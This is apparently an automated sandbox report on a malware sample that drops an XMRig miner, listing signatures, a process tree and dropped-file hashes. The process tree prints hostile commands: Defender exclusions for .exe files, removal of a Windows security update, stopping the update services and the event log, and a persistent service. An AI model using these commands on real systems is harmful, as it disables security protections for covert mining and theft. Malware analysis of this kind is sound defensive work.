Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/06/2024, 10:31

General

  • Target
    Bypasss.exe
  • Size 2.8MB
  • Sample240603-mkc55sbd3z
  • SHA256 c54eb244078dcaf2472c85bcce337b152dc24154d6a03004a29e4f4069d49d71
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 14 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 46 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Bypasss.exe
    "C:\Users\Admin\AppData\Local\Temp\Bypasss.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3588
    • C:\Users\Admin\AppData\Roaming\123.exe
      "C:\Users\Admin\AppData\Roaming\123.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      PID:116
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1564
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:836
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          4⤵
            PID:3512
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop UsoSvc
          3⤵
          • Launches sc.exe
          PID:3256
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop WaaSMedicSvc
          3⤵
          • Launches sc.exe
          PID:2696
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop wuauserv
          3⤵
          • Launches sc.exe
          PID:2096
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop bits
          3⤵
          • Launches sc.exe
          PID:852
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop dosvc
          3⤵
          • Launches sc.exe
          PID:1476
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2056
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:620
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2820
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4608
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe delete "NUOIJWEW"
          3⤵
          • Launches sc.exe
          PID:3264
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe create "NUOIJWEW" binpath= "C:\ProgramData\rpsbjgoyhvql\gfqyepapamry.exe" start= "auto"
          3⤵
          • Launches sc.exe
          PID:2932
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop eventlog
          3⤵
          • Launches sc.exe
          PID:5088
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe start "NUOIJWEW"
          3⤵
          • Launches sc.exe
          PID:2872
      • C:\Users\Admin\AppData\Roaming\svhost.exe
        "C:\Users\Admin\AppData\Roaming\svhost.exe"
        2⤵
        • Executes dropped EXE
        PID:4100
      • C:\Users\Admin\AppData\Roaming\4.exe
        "C:\Users\Admin\AppData\Roaming\4.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:964
    • C:\ProgramData\rpsbjgoyhvql\gfqyepapamry.exe
      C:\ProgramData\rpsbjgoyhvql\gfqyepapamry.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4508
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2972
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3120
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
            PID:3036
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop UsoSvc
          2⤵
          • Launches sc.exe
          PID:2236
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop WaaSMedicSvc
          2⤵
          • Launches sc.exe
          PID:720
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop wuauserv
          2⤵
          • Launches sc.exe
          PID:636
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop bits
          2⤵
          • Launches sc.exe
          PID:3196
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop dosvc
          2⤵
          • Launches sc.exe
          PID:2928
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2084
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2708
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2344
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4920
        • C:\Windows\system32\conhost.exe
          C:\Windows\system32\conhost.exe
          2⤵
            PID:948
          • C:\Windows\system32\svchost.exe
            svchost.exe
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4392

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              __PSScriptPolicyTest_hnqcn3fv.voz.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hnqcn3fv.voz.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512

              123.exe

              • Path C:\Users\Admin\AppData\Roaming\123.exe
              • Size 2.5MB
              • SHA256 52c8c92f79183a354c5ee59653426b0f97209c37eec39fe5077ef43666eaf8a1
              • MD5 SHA1 SHA512 SSDEEP

              4.EXE

              • Path C:\Users\Admin\AppData\Roaming\4.EXE
              • Size 538KB
              • SHA256 7061f3d97ac28687798831bc212a42f0d58bdf6e8a2d15646314f1ba3575d33c
              • MD5 SHA1 SHA512 SSDEEP

              svhost.exe

              • Path C:\Users\Admin\AppData\Roaming\svhost.exe
              • Size 530KB
              • SHA256 ce51ed0339a350243bc1576fcfa76e1b589908055f24123c9816f0dc8bf8c22a
              • MD5 SHA1 SHA512 SSDEEP

              memory/948-96-0x0000000140000000-0x000000014000E000-memory.dmp

              memory/948-92-0x0000000140000000-0x000000014000E000-memory.dmp

              memory/948-99-0x0000000140000000-0x000000014000E000-memory.dmp

              memory/948-95-0x0000000140000000-0x000000014000E000-memory.dmp

              memory/948-94-0x0000000140000000-0x000000014000E000-memory.dmp

              memory/948-93-0x0000000140000000-0x000000014000E000-memory.dmp

              memory/964-44-0x000000001E800000-0x000000001E876000-memory.dmp

              memory/964-45-0x000000001CD50000-0x000000001CD6E000-memory.dmp

              memory/964-46-0x000000001F870000-0x000000001FA32000-memory.dmp

              memory/964-47-0x000000001FF70000-0x0000000020498000-memory.dmp

              memory/964-43-0x000000001E1E0000-0x000000001E21C000-memory.dmp

              memory/964-42-0x000000001CD10000-0x000000001CD22000-memory.dmp

              memory/964-41-0x000000001E2F0000-0x000000001E3FA000-memory.dmp

              memory/964-40-0x00007FFE62D00000-0x00007FFE637C1000-memory.dmp

              memory/964-39-0x0000000000850000-0x00000000008DC000-memory.dmp

              memory/964-114-0x00007FFE62D00000-0x00007FFE637C1000-memory.dmp

              memory/1564-57-0x0000019456BA0000-0x0000019456BC2000-memory.dmp

              memory/2972-87-0x0000024232C30000-0x0000024232C38000-memory.dmp

              memory/2972-86-0x0000024232C70000-0x0000024232C8A000-memory.dmp

              memory/2972-88-0x0000024232C40000-0x0000024232C46000-memory.dmp

              memory/2972-89-0x0000024232C90000-0x0000024232C9A000-memory.dmp

              memory/2972-85-0x00000242327C0000-0x00000242327CA000-memory.dmp

              memory/2972-84-0x0000024232C50000-0x0000024232C6C000-memory.dmp

              memory/2972-83-0x00000242327B0000-0x00000242327BA000-memory.dmp

              memory/2972-82-0x0000024232A30000-0x0000024232AE5000-memory.dmp

              memory/2972-81-0x0000024232A10000-0x0000024232A2C000-memory.dmp

              memory/4100-33-0x00007FFE62D03000-0x00007FFE62D05000-memory.dmp

              memory/4100-34-0x0000000000960000-0x00000000009E8000-memory.dmp

              memory/4392-106-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/4392-113-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/4392-100-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/4392-109-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/4392-112-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/4392-101-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/4392-111-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/4392-107-0x00000176E43B0000-0x00000176E43D0000-memory.dmp

              memory/4392-110-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/4392-105-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/4392-104-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/4392-103-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/4392-102-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/4392-115-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/4392-116-0x0000000140000000-0x0000000140848000-memory.dmp